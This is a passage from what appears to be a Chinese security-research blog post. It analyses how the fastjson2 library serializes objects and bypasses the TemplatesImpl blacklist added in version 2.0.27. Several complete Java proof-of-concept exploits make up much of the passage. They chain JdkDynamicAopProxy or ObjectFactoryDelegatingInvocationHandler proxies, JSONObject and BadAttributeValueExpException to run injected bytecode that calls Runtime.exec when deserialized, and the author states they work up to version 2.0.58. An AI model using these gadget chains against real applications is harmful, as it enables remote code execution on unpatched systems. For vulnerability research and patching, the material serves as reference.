然后将其转换对象赋值给了fieldWriters并在sort()代码部分进行了重新排序。

前面讲了关于getter方法的处理,其实就是处理一下public的field,从而方便调用它的getter方法。再往后看,就是我们需要的objectWriter类的实例化了:

image

可以看到定义了类名,在多次调试过程中经常出现它的名字,这里也是找到了出处,然后找了包名,这里就是为在内存中生成这个类做准备,定义了类名以及所出包的位置。再后续呢,就是往类中定义了一些方法,然后是实例化了这个类作为objectWriter并返回

image

这里的诸如genMethodWriteJSONB()方法往OWG_1_3_TemplatesImpl类中去定义方法内的代码,这里的对应情况如下:

调用的方法 实现的OWG_1_3_TemplatesImpl类中的方法
genMethodWriteJSONB() writeJSONB()
genMethodWrite() write()
genMethodWriteArrayMapping() writeArrayMapping()

调试中发现其实在类中定义的这几个方法都可以调用到那几个getter方法,大致流程是差不多的,这里就讲讲write()定义的流程,同时可以搞清楚我们前面弄了这么久的fieldWriters起到了什么作用

跟进genMethodWrite()方法:

image

可以看到定义的方法名称,直接跟进fieldWriters的处理方式:

image

调用了for循环来对fieldWriters中存储的序列化类进行处理,跟进gwFieldValue()方法:

image

会获取到filterWriter的fieldClass,然后进行类型判断:

image

最后还是调用gwFieldValueObject()方法,跟进这个方法中的genGetObject()方法:

image

关键点来了,由于赋值时fieldWriter.field肯定为null,也就是前面提到的,所以这里会将member赋值为对应的getter方法,从而顺理成章调用到visitMethodInsn()方法从而可以往OWG_1_3_TemplatesImpl类的write()方法中写入调用对应getter方法的代码,其他的fieldWriter同理,由于for循环,故流程都是这个,调用栈为:

1
genGetObject:3339, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)gwFieldValueObject:1840, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)gwFieldValue:1758, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)genMethodWrite:722, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)createObjectWriter:554, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)getObjectWriter:333, ObjectWriterProvider (com.alibaba.fastjson2.writer)getObjectWriter:1603, JSONWriter$Context (com.alibaba.fastjson2)write:2246, JSONWriterUTF16 (com.alibaba.fastjson2)toString:1090, JSONObject (com.alibaba.fastjson2)main:33, Main (org.example)

再后面就可以通过调用这个类的write()方法从而调用对应序列化类的getter方法达到JSON序列化的目的:

image

但是由于这一个过程是在内存中进行的,也就是没有实际的java文件落地,只能通过监听内存从而获取这个类的内容。

这里可以使用arthas工具,我们需要将运行代码改成如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
try{
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", templates);
jsonObject.toString();
}catch (Exception e){
while(true){
}
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

众所周知在成功完成一次动态加载字节码后会报错退出,所以我们需要在这里加一个自循环从而让程序不会退出,然后运行并使用arthas工具监听即可:

image

在前面我们已经知道了对应类的包名,也就可以知道它的路径,然后用工具将其反编译出来:

1
jad com.alibaba.fastjson2.writer.OWG_1_3_TemplatesImpl

然后就可以拿到生成的类了,这里简单截取一些write()方法的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
if ((var12_11 = ((TemplatesImpl)var2_2).getOutputProperties()) == null) break block19;
var14_12 = var1_1.isRefDetect();
if (!var14_12) ** GOTO lbl-1000
if (var2_2 == var12_11) {
this.fieldWriter0.writeFieldName(var1_1);
var1_1.writeReference("..");
} else {
var13_13 = var1_1.setPath(this.fieldWriter0, (Object)var12_11);
if (var13_13 != null) {
this.fieldWriter0.writeFieldName(var1_1);
var1_1.writeReference(var13_13);
var1_1.popPath(var12_11);
} else lbl-1000:
// 2 sources
{
this.fieldWriter0.writeFieldName(var1_1);
this.fieldWriter0.getObjectWriter(var1_1, var12_11.getClass()).write(var1_1, var12_11, "outputProperties", (Type)Properties.class, 0L);
}
}
break block20;
}
if ((var8_6 &amp; 16L) != 0L) {
this.fieldWriter0.writeFieldName(var1_1);
var1_1.writeNull();
}
}
var15_14 = ((TemplatesImpl)var2_2).getStylesheetDOM();
if (var15_14 == null) break block21;
if (var1_1.isIgnoreNoneSerializable(var15_14)) break block22;
var14_12 = var1_1.isRefDetect();
if (!var14_12) ** GOTO lbl-1000
if (var2_2 == var15_14) {
this.fieldWriter1.writeFieldName(var1_1);
var1_1.writeReference("..");
} else {
var13_13 = var1_1.setPath(this.fieldWriter1, (Object)var15_14);
if (var13_13 != null) {
this.fieldWriter1.writeFieldName(var1_1);
var1_1.writeReference(var13_13);
var1_1.popPath(var15_14);
} else lbl-1000:
// 2 sources
{
this.fieldWriter1.writeFieldName(var1_1);
this.fieldWriter1.getObjectWriter(var1_1, var15_14.getClass()).write(var1_1, var15_14, "stylesheetDOM", this.fieldWriter1.fieldType, 0L);
}
}
break block22;
}
if ((var8_6 &amp; 16L) != 0L) {
this.fieldWriter1.writeFieldName(var1_1);
var1_1.writeNull();
}
}
if ((var16_15 = ((TemplatesImpl)var2_2).getTransletIndex()) != 0 || var10_7 == false) {
this.fieldWriter2.writeInt32(var1_1, var16_15);
}
var1_1.endObject();

在这个部分代码中,我们可以看到调用了对应的三个getter方法,顺序是getOutputProperties() => getStylesheetDOM() => getTransletIndex()

从而达到通过调用getter方法获取到对应field值的效果。

至此,在可行版本下序列化的过程调试分析完毕。

绕过限制再次达成攻击

那么官方在2.0.27版本下在哪些方面做了限制导致前面的链子不能执行呢,修改fastjson2的版本来探究一下:

1
2
3
4
5
6
<!-- <https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2> -->
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.27</version>
</dependency>

那么在新的修复中做了哪些改变呢,再次过了一遍了流程,主要做出的改变就是在BeanUtils类的getters()方法中加了一个黑名单:

image

从前面的调试分析中知道BeanUtils#getters()就是一个处理类中的method的非常关键的方法,前后流程对比可以在2.0.27版本中是多了如图的这几行代码,对传参的objectClass进行了判断,也就是对要序列化的类进行了处理,只要符合条件就直接退出了流程的继续,跟进这个ignore()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static boolean ignore(Class objectClass) {
if (objectClass == null) {
return true;
}
String name = objectClass.getName();
switch (name) {
case "javassist.CtNewClass":
case "javassist.CtNewNestedClass":
case "javassist.CtClass":
case "javassist.CtConstructor":
case "javassist.CtMethod":
case "org.apache.ibatis.javassist.CtNewClass":
case "org.apache.ibatis.javassist.CtClass":
case "org.apache.ibatis.javassist.CtConstructor":
case "org.apache.ibatis.javassist.CtMethod":
case "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet":
case "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl":
case "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl":
case "org.apache.wicket.util.io.DeferredFileOutputStream":
case "org.apache.xalan.xsltc.trax.TemplatesImpl":
case "org.apache.xalan.xsltc.runtime.AbstractTranslet":
case "org.apache.xalan.xsltc.trax.TransformerFactoryImpl":
case "org.apache.commons.collections.functors.ChainedTransformer":
return true;
default:
break;
}
return false;
}

很容易看出这里就是添加了一个黑名单,其中过滤了一些非常关键的如TemplatesImpl、AbstractTranslet类,由于我们传参的类为TemplatesImpl类,匹配到这里的逻辑,导致直接return退出,不会再进行后续的操作。

但是这里还是可以通过动态代理来绕过。

JdkDynamicAopProxy链

这里使用到的类就是JdkDynamicAopProxy类,需要有spring-aop依赖:

1
2
3
4
5
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.3.19</version>
</dependency>

我们在jackson不稳定性绕过以及SpringAOP链中都使用到了这个类,是一个功能非常强大的类,这里主要的思路就是利用jackson解决不稳定性的方法来分析利用(个人认为fastjson2不会存在这个不稳定性,因为在成功创建了所有的fieldWriterMap后,还会调用Collections.sort()进行排序,故应该不会存在先后问题错误导致直接退出),然后这里讲讲这里的JdkDynamicAopProxy类的利用点:

这里主要利用的是它的invoke()方法,基本构造就是最初学习时的格式:

image

在这里主要的利用点就是如下代码:

image

只要可控这里的target,并且控制chain为空,那么就可以调用到AopUtils类的invokeJoinpointUsingReflection方法:

image

那么恰巧的是,这些参数是可控的,并且在SpringAOP链的学习中,可以知道我们需要调用AdvisedSupport类addAdvisor()方法来给其变量advisors赋值从而可以满足后续的条件从而可以让这里的chain不为空进入else语句进而继续后续链子的调用,那么在这里正如jackson那个的解决方法一样,直接默认即可让变量advisors为空从而直接让chain为空从而进入if语句,所以只需要控制targetSource.getTarget()返回值对应即可,而这里的AdvisedSupport类有好用的方法:

image

直接用这里的SingletonTargetSource类即可。所以只要在代理对象调用到getOutputProperties(),就会进入到这里的invoke()方法,并且控制getTarget()返回对象为构造好的TemplatesImpl类即可。

简单思路就是如上,并且和jackson调用链绕过的流程可以说非常像,现在我们就需要注意调用fastjson序列化时的过程了,这里我们会利用到动态代理,先来简单看一个本地demo:

image

可以看到对代理类调用getClass()的结果为class com.sun.proxy.$Proxy0,并且再调用getMethods()时的结果是从接口中获取到的方法,也就是Templates.class接口类的中的方法。

所以思路其实很清晰了,这里的proxy又不在黑名单里面,又可以获取到想利用的getter方法,又可以控制TempltesImpl类,所以简单的poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxyObj);
jsonObject.toString();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

运行弹出计算机。然后在分析调试的过程中,发现还是和自己分析的过程不一样,重点在BeanUtils#getter()中,如下:

image

这里很容易看出来就是判断这里是否为代理类,如果是的话就获取接口然后再次调用getter方法,当时简单跟了一下以为会判定为false,结果差点就功亏一篑呀,根据调试继续跟进:

跟进isProxyClass()方法:

image

前面会判定为true不奇怪,proxyClassCache变量定义如下:

image

想当然以为containsValue()方法就是看是否包含对应的值,其实并不是,这里会包含,代码比较简单就不跟进了,还是要看类中的代码呀。故这里会进入到if语句中获取对应代理类的接口:

image

后续的过程基本就清楚了,就是让objectClass变为了Templates.class,再次调用getter方法,幸好黑名单里面没有Templates.class,也就对应上了参考文章里说Templates.class没有上黑名单由此想出的这个绕过,然后获取其Method,然后创建fieldWriterMap并调用wirte()方法进行序列化从而触发到JdkDynamicAopProxy类的invoke()方法从而进行命令执行:

image

但是在这里的Proxy.isProxyClass()的判断中,可以注意到这里的if条件。要求interfaces只能为一个,那么我是否可以让interfaces为两个或更多,来让objectClass不会改变,从而在proxy.getClass().getMethods()这里来获取到对应方法并进行后续处理呢,简单尝试如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class,AutoCloseable.class}, handler);
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxyObj);
jsonObject.toString();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

运行同样可以弹出计算机。我这里是在接口处加了一个AutoCloseable.class,让接口获取不再是一个:

image

从而在ignore()判断中返回false:

image

从而继续后续调用链的进行来调用到write()方法。所以从这里来看,至少需要同时ban掉Templates和com.sun.proxy.$Proxy0才能完全禁止反序列化调用链的进行,看后面绕过还用不用得到。

经测试到目前最新的2.0.58版本都能使用只有Templates.class的链子打,就看后续会怎么修复吧。

并且后面版本的fastjson的黑名单变成了hash值计算的结果,而且加密逻辑都在代码中有体现。

最后可以用来序列化攻击的poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxyObj);
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field field = bad.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(bad, jsonObject);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(bad);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

并且两个接口类的也可以用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class,AutoCloseable.class}, handler);
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxyObj);
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field field = bad.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(bad, jsonObject);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(bad);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

ObjectFactoryDelegatingInvocationHandler+JSONObject链

这个类是一个内部类,实现了InvocationHandler和Serializable两个接口,在spring-beans依赖中,而spring-aop中本身就拉入了spring-beans依赖:

image

所以也是可以说spring中都能打的。

跟进这个类的invoke()方法:

image

非常清晰了,只是需要代理类调用getOutputProperties,这个好解决,代理类设置Templates.class接口即可,再看一下是否有可利用的ObjectFactory类,这是一个接口类,但是并没有合适的重写的方法,但是看参考文章,利用了JSONObject类的invoke()方法:

image

这个类也能被代理,跟进它的invoke()方法:

image

先获取方法名,然后方法参数个数,后续跟进的代码应该是如下:

image

可以知道参数个数为0,然后对getter方法进行处理,然后调用get()方法来进行获取值:

image

跟进发现其实就是LinkedHashMap中取值,直接往里面放入一个键值对即可。

最后的poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.beans.factory.ObjectFactory;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
//第一个JSONObject代理
JSONObject jsonObject0 = new JSONObject();
jsonObject0.put("object",templates);
Object proxy0 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{ObjectFactory.class},(InvocationHandler)jsonObject0);
//第二个代理
Constructor constructor = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").getDeclaredConstructor(ObjectFactory.class);
constructor.setAccessible(true);
Object proxy1 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Templates.class},(InvocationHandler)constructor.newInstance(proxy0));
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxy1);
//toString
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field field = bad.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(bad, jsonObject);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(bad);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

运行在反序列化时弹出计算机,并且调试符合前面的过程。

同样是可以使用两个接口来进行前面所述的利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.beans.factory.ObjectFactory;
import javax.management.MBeanServer;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
//第一个SONObject代理
JSONObject jsonObject0 = new JSONObject();
jsonObject0.put("object",templates);
Object proxy0 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{ObjectFactory.class},(InvocationHandler)jsonObject0);
//第二个代理
Constructor constructor = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").getDeclaredConstructor(ObjectFactory.class);
constructor.setAccessible(true);
Object proxy1 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Templates.class,AutoCloseable.class},(InvocationHandler)constructor.newInstance(proxy0));
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxy1);
//toString
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field field = bad.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(bad, jsonObject);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(bad);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

这样就同样需要ban掉Templates和com.sun.proxy.$Proxy1才能完全限制。

同样在最新版本2.0.58也能打。

非常好的绕过方式,可惜大部分情况应该都是只能在spring下打,当然如参考文章一样,还可以尝试打没ban的类,而不是就磕TemplatesImpl,比如我的c3p0分析文章就有一个反序列化打jndi。

新的反序列化toString入口类

基本说明

在先知文章看到的一个新的入口点:

https://xz.aliyun.com/news/18467

文中提到的链子如下:

1
2
3
4
javax.swing.AbstractAction#readObject ->
javax.swing.AbstractAction#putValue ->
javax.swing.AbstractAction#firePropertyChange ->
com.sun.org.apache.xpath.internal.objects.XString#equals

所以这里只是换了一个入口类而已,但是这里的一个思想非常好,当HashMap、Hashtable、HashSet等类都被ban了可以来用这个类(注意后续链子的类是否被ban,这些都是需要考虑的),但是都绕不开一个点就是XString,先来跟一下基本的链子:

AbstractAction类的readObject()方法:

image

